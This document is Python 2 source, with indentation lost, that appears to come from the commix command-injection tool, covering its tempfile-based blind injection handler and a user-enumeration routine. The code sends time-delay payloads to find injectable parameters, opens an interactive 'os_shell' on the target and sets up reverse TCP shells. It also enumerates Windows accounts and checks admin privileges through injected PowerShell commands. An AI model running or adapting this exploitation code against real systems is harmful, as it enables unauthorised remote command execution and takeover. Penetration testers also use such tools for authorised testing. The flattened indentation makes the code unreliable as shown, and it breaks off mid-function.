# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
if settings.TARGET_OS == "win":
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n] > "
).lower()
if file_access_again in settings.CHOISE_YES:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline,
'__doc__', ''
) is not None and 'libedit' in getattr(
readline,
'__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete"
)
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input(
"""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload,
TAG, cmd, prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp(
)
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(
lhost,
lport)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(
separator,
http_request_method
)
whitespace = settings.WHITESPACES[
0]
response = cb_injector.injection(
separator, TAG,
cmd, prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
delay,
http_request_method,
url, vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
print ""
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == "POST":
settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B")
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
try:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
except TypeError:
output = ""
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
if settings.VERBOSITY_LEVEL >= 1:
print ""
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(new_line + settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
info_msg = "Confirming privileges of user '"
info_msg += sys_users_list[user] + "'... "
print settings.print_info_msg(info_msg)
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
check_privs = output
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
